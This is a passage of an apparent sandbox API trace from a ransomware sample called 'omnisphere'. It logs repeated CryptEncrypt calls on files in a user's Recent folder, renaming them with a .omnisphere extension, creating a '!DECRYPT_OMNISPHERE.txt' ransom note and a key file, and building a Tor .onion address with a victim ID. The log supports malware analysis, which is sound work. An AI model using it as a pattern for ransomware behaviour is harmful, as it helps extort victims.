pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.983] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.983] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0126.984] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3c9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.984] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.984] GetProcessHeap () returned 0x1600000 [0126.984] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16ed060 [0126.984] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qyhwjeulq0 z0.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qyhwjeulq0 z0.lnk.omnisphere")) returned 1 [0126.985] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk.omnisphere.id" [0126.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qyhwjeulq0 z0.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.985] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.986] CloseHandle (hObject=0x3c0) returned 1 [0126.986] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.986] CloseHandle (hObject=0x288) returned 1 [0126.986] SetEndOfFile (hFile=0x28c) returned 1 [0126.986] FlushFileBuffers (hFile=0x28c) returned 1 [0126.989] CloseHandle (hObject=0x28c) returned 1 [0126.989] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.989] GetProcessHeap () returned 0x1600000 [0126.989] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0126.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.989] GetProcessHeap () returned 0x1600000 [0126.990] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5b40 [0126.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5b40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.990] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.990] GetProcessHeap () returned 0x1600000 [0126.990] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8368 [0126.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8368, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.990] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.990] GetProcessHeap () returned 0x1600000 [0126.990] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8ee8 [0126.990] PathCombineW (in: pszDest=0x16d8ee8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.990] GetProcessHeap () returned 0x1600000 [0126.990] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e3280 [0126.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.990] WriteFile (in: hFile=0x28c, lpBuffer=0x16e3280*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e3280*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.990] CloseHandle (hObject=0x28c) returned 1 [0126.990] GetProcessHeap () returned 0x1600000 [0126.991] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0126.991] GetProcessHeap () returned 0x1600000 [0126.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e788 [0126.991] PathCombineW (in: pszDest=0x162e788, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.991] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.991] CloseHandle (hObject=0x28c) returned 1 [0126.991] GetProcessHeap () returned 0x1600000 [0126.991] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e788 | out: hHeap=0x1600000) returned 1 [0126.991] GetProcessHeap () returned 0x1600000 [0126.991] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.991] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2f5343, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e2f5343, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e2f5343, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x398, dwReserved0=0x0, dwReserved1=0xd3, cFileName="R0sP.lnk", cAlternateFileName="")) returned 1 [0126.991] GetProcessHeap () returned 0x1600000 [0126.991] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167c348 [0126.991] PathCombineW (in: pszDest=0x167c348, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="R0sP.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk" [0126.991] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.991] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r0sp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.992] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=920) returned 1 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.992] GetTickCount () returned 0x115fb06 [0126.993] GetTickCount () returned 0x115fb06 [0126.993] GetTickCount () returned 0x115fb06 [0126.993] GetTickCount () returned 0x115fb06 [0126.993] GetTickCount () returned 0x115fb06 [0126.993] GetTickCount () returned 0x115fb06 [0126.993] GetTickCount () returned 0x115fb06 [0126.993] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.993] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0126.993] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.993] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.993] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.993] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x398, lpName=0x0) returned 0x288 [0126.994] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x398) returned 0x1480000 [0126.994] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0126.994] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0126.994] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt 